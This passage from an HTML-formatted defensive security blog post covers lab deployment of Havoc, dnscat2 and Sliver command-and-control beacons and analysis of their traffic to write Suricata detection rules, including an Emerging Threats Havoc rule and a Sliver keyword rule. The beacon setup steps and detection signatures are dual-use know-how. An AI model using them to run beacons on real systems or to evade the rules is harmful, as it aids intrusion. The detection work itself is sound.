&lt;h3 id=&quot;havoc&quot;&gt;Havoc&lt;/h3&gt;
&lt;p&gt;Havoc features a GUI reminiscent of the Cobalt Strike console, with similar base functionalities.
While Havoc lacks post-exploitation features, the initial look and feel are nearly identical.
The steps to generate a beacon are straightforward:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Start a listener for the appropriate protocol (see figure &lt;a href=&quot;#havoc_1-listener&quot;&gt;Havoc HTTP listener&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;Generate a payload (see figure &lt;a href=&quot;#havoc_2-payload&quot;&gt;Havoc HTTP payload generation&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;Execute the beacon on the target host.&lt;/li&gt;
&lt;/ul&gt;

&lt;figure id=&quot;havoc_1-listener&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/havoc_1.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/havoc_1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/havoc_1.png&quot; alt=&quot;Havoc HTTP listener&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/havoc_1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/havoc_1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/havoc_1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Havoc HTTP listener&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;
&lt;figure id=&quot;havoc_2-payload&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/havoc_2.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/havoc_2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/havoc_2.png&quot; alt=&quot;Havoc HTTP payload generation&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/havoc_2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/havoc_2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/havoc_2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Havoc HTTP payload generation&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Once the beacon starts, it will appear in the GUI console, allowing interaction:&lt;/p&gt;
&lt;figure id=&quot;havoc_3-session&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/havoc_3.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/havoc_3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/havoc_3.png&quot; alt=&quot;Havoc HTTP beacon startup&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/havoc_3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/havoc_3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/havoc_3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Havoc HTTP beacon startup&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;dnscat2&quot;&gt;dnscat2&lt;/h3&gt;
&lt;p&gt;dnscat2, like Sliver, is a console-like application.
Its configuration differs slightly: the beacon executable needs to be built with Visual Studio and then executed via cmd using the C2 domain as a parameter:&lt;/p&gt;
&lt;figure id=&quot;beacon_dns&quot; class=&quot;figure-posts&quot; style=&quot;width: 75%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/beacon_dns.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/beacon_dns.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/beacon_dns.png&quot; alt=&quot;DNS beacon startup&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/beacon_dns.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/beacon_dns.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/beacon_dns.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;DNS beacon startup&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;
&lt;p&gt;Once the beacon starts, it will appear in the GUI console, allowing interaction.&lt;/p&gt;

&lt;p&gt;There are many ways, depending on the tool and the (ab)used C2 protocol, to customize the traffic.
However, we did not make any such customizations.
As you will see in the next section, the traffic already looks quite sophisticated, which, I admit, surprised me as well.&lt;/p&gt;

&lt;h2 id=&quot;fk-around&quot;&gt;F**k around&lt;/h2&gt;
&lt;p&gt;So now, we have several beacons running.
What do we do next?
Discover the network, escalate privileges, exfiltrate data, encrypt all the data, extortion.
This is exactly what a cybercriminal would do in the same situation.&lt;/p&gt;

&lt;p&gt;As a blue teamer, you may think about how to generate the most diverse traffic possible.
Summarizing my approach, we performed the following actions, which may result in noticeable changes in the traffic sent or received:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Beacon session initiation&lt;/li&gt;
  &lt;li&gt;No interaction (beacon idle traffic)&lt;/li&gt;
  &lt;li&gt;Executing commands with varying response sizes, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pwd&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pslist&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Uploading dummy ZIP archives to the victim machine with different file sizes&lt;/li&gt;
  &lt;li&gt;Beacon session termination&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These same interactions were carried out for all beacons, and the corresponding network traffic was captured.
This traffic will be analyzed to identify distinctive characteristics suitable for use in Suricata detection rules.
For a deeper dive, we’ll explore this in the section &lt;a href=&quot;#diving-down-into-the-c2-network-traffic-with-wireshark&quot;&gt;Diving Down into the C2 Network Traffic with Wireshark&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;results&quot;&gt;Results&lt;/h3&gt;
&lt;p&gt;There were no detections for all the mentioned beacons, except for the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;HTTP (Sliver): SURICATA Applayer Mismatch protocol both directions&lt;/li&gt;
  &lt;li&gt;HTTP (Havoc): ET MALWARE Havoc Framework Header in HTTP Response&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the first case, this is not a real detection but rather an alert indicating that Suricata’s protocol detection has identified a mismatch in both directions.
This could be an indicator that something is wrong with the traffic.
However, in a real-world scenario, this alert would likely not be forwarded or analyzed further.&lt;/p&gt;

&lt;p&gt;The second detection is more concerning, as it explicitly names the framework being used.
Let’s take a closer look at the Suricata rule that triggered this detection, specifically the Havoc detection:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EXTERNAL_NET&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HOME_NET&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;any &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ET MALWARE Havoc Framework Header in HTTP Response&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;flow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;established&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header_names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to_lowercase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;x-havoc|0d 0a|&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fast_pattern&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;reference&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;github&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;com&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HavocFramework&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Havoc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;blob&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Teamserver&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;profiles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;havoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;yaotl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;reference&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;twitter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;com&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MichalKoczwara&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1652986620658761729&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;classtype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;trojan&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;activity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2045270&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attack_target&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Client_Endpoint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;created_at&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2023_05_01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;deployment&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Perimeter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;deployment&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSLDecrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;confidence&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;High&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signature_severity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Major&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;updated_at&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2024_04_26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I made some edits to the rule for better readability.
The rules as shown will not work if you simply copy and paste it.
For reference, you’ll find the Suricata rules mentioned below in our public GitHub repository (&lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Suricata-C2&quot;&gt;Suricata-C2&lt;/a&gt;).&lt;br /&gt;
A rule consists of the following three elements:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Action:&lt;/strong&gt; What should be done if the signature matches?&lt;br /&gt;
In this case, it’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert&lt;/code&gt;, but you could also use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;drop&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reject&lt;/code&gt;, and others.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Header:&lt;/strong&gt;&lt;br /&gt;
Defines the protocol, IP addresses (or placeholders), ports, and direction.&lt;br /&gt;
Here, it’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http $EXTERNAL_NET any -&amp;gt; $HOME_NET any&lt;/code&gt;, so any HTTP traffic no matter on which port coming from extern going to the LAN.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Options:&lt;/strong&gt;&lt;br /&gt;
This is essentially the signature itself (what exactly you’re looking for) along with optional metadata like references or a classtype to provide additional context.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s dive deeper into the signature details:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flow:established,to_client;&lt;/code&gt;&lt;br /&gt;
The flow keyword in Suricata identifies packets belonging to the same connection (e.g., same source, destination, protocol, source port, and destination port).
For TCP, this refers to the TCP tunnel itself.
For UDP, the tuple defines the flow.
Here, the flow is established, meaning there’s already an active TCP tunnel, and the direction &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to_client&lt;/code&gt; specifies traffic heading to the client.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http.header_names; to_lowercase; content:&quot;x-havoc|0d 0a|&quot;; fast_pattern;&lt;/code&gt;&lt;br /&gt;
This line uses the HTTP-specific keyword &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http.header_names&lt;/code&gt;, which inspects HTTP headers.
Protocol-specific keywords are available and allow inspection of specific fields within the protocol, much like analyzing protocol fields in Wireshark.
The rule checks whether the header contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x-havoc&lt;/code&gt;, followed by a carriage return and line feed (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;|0d 0a|&lt;/code&gt;), which marks the end of the header.&lt;/li&gt;
  &lt;li&gt;Reference, Classtype, Metadata:&lt;br /&gt;
These elements provide additional context or information about the detection.
Most of this is self-explanatory, offering details such as related links and the severity of the alert.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For more detailed information on Suricata rules and keywords, you can refer to the documentation:
&lt;a href=&quot;https://docs.suricata.io/en/suricata-7.0.7/rules/intro.html&quot;&gt;8.1 Rules Format - Suricata 7.0.7 documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While experimenting, the executables were shared via a shared folder in VMware Fusion.
In the meantime, my local antivirus (on the hypervisor) reacted:&lt;br /&gt;
“You had my curiosity. But now you have my attention.”&lt;/p&gt;
&lt;figure id=&quot;christmas-tree&quot; class=&quot;figure-posts&quot; style=&quot;width: 30%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/weihnachtsbaum.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/weihnachtsbaum.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/weihnachtsbaum.png&quot; alt=&quot;AV is suspecting something&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/weihnachtsbaum.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/weihnachtsbaum.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/weihnachtsbaum.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;AV is suspecting something&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h1 id=&quot;diving-down-into-the-c2-network-traffic-with-wireshark&quot;&gt;Diving Down into the C2 Network Traffic with Wireshark&lt;/h1&gt;
&lt;p&gt;In this section, we will analyze the sniffed network traffic.
The goal is not to reverse-engineer the encoding but rather to identify distinctive characteristics suitable for use in Suricata detection rules.
All detection rules presented below have been modified for readability, so please do not simply copy and paste them.&lt;/p&gt;

&lt;h2 id=&quot;http-sliver&quot;&gt;HTTP (Sliver)&lt;/h2&gt;
&lt;p&gt;The C2 traffic itself, in its default configuration, is already pretty stealthy.
There are HTTP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; requests, as you would expect while browsing a website.
Furthermore, the URI endpoints change with each request, but within a limited set.
Over time, you will see the same URIs recurring, but with changing parameters.&lt;/p&gt;

&lt;p&gt;Additionally, the HTTP header contains a cookie that, as we tested, changes with each new (beacon) session—again, within a limited set.
Common cookies include &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AWSALBCORS=[...]&lt;/code&gt;, which is typically used by AWS (Amazon Application Load Balancer).
I also noticed other common cookies such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSID&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;APISID&lt;/code&gt; (both related to Google Ads optimization).&lt;/p&gt;

&lt;p&gt;If you’re interested, check out the source code of the HTTP beacon generation (&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/master/server/configs/http-c2.go&quot;&gt;server/configs/http-c2.go&lt;/a&gt;).
You’ll see that most of it is fairly generic.
Therefore, rules matching on these generic (and often common) parameters would likely result in false positive detections.&lt;/p&gt;

&lt;p&gt;Fortunately, HTTP isn’t encrypted, so we can delve into the transferred “HTTP” data:&lt;/p&gt;
&lt;figure id=&quot;traffic_http_1&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/traffic/http_data_1.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/traffic/http_data_1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/traffic/http_data_1.png&quot; alt=&quot;C2 via HTTP - Encoding Sample 1&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/traffic/http_data_1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/traffic/http_data_1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/traffic/http_data_1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;C2 via HTTP - Encoding Sample 1&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;
&lt;figure id=&quot;traffic_http_2&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/traffic/http_data_2.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/traffic/http_data_2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/traffic/http_data_2.png&quot; alt=&quot;C2 via HTTP - Encoding Sample 2&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/traffic/http_data_2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/traffic/http_data_2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/traffic/http_data_2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;C2 via HTTP - Encoding Sample 2&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;
&lt;figure id=&quot;traffic_http_3&quot; class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/traffic/http_data_3.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/traffic/http_data_3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/traffic/http_data_3.png&quot; alt=&quot;C2 via HTTP - Encoding Sample 3&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/traffic/http_data_3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/traffic/http_data_3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/traffic/http_data_3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;C2 via HTTP - Encoding Sample 3&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;As we can see, the data is encoded in several ways, which are described in more detail in this blog post from &lt;a href=&quot;https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide&quot;&gt;Immersivelabs&lt;/a&gt;.
From my perspective, reverse-engineering the transferred data is a completely separate topic, and we won’t explore it in this post.
Instead, we ask ourselves whether there are characteristics suitable for detection rules.&lt;/p&gt;

&lt;p&gt;Interestingly, for some reason, English words are transferred every time a larger amount of data is sent to the C2 server.
Without diving too deeply into Suricata and LUA scripting (an advanced method of defining detection logic within Suricata), I couldn’t find a way to implement detections for most of the used encodings.&lt;/p&gt;

&lt;p&gt;Did you notice something?
If not, look again at the HTTP &lt;a href=&quot;#traffic_http_3&quot;&gt;encoding sample 3&lt;/a&gt;.
For some reason, Sliver encodes data into English words at times.
From my observations, this happens when larger amounts of data are transferred from the beacon to the C2 server.
Digging into the source code, we can find a wordlist (&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/3c151ed172076b654a5eff8b84686addb2ba3e73/util/encoders/english_test.go#L44&quot;&gt;EnglishDictionary&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;My Suricata rule to detect this looks like this:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;C2-Sliver: Suspicous Keywords detected in HTTP POST&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;php&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nocase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pcre&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x49\x43\x54\x45\x52\x49\x43\x41\x4c&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;|
&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x53\x54\x41\x52\x46\x49\x53\x48&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;|
&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x47\x55\x45\x53\x54\x49\x4e\x47&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;|
&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x4f\x56\x45\x52\x4f\x52\x47\x41\x4e\x49\x5a\x45&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;|
&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x43\x4f\x4e\x46\x45\x52\x4d\x45\x4e\x54\x53&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

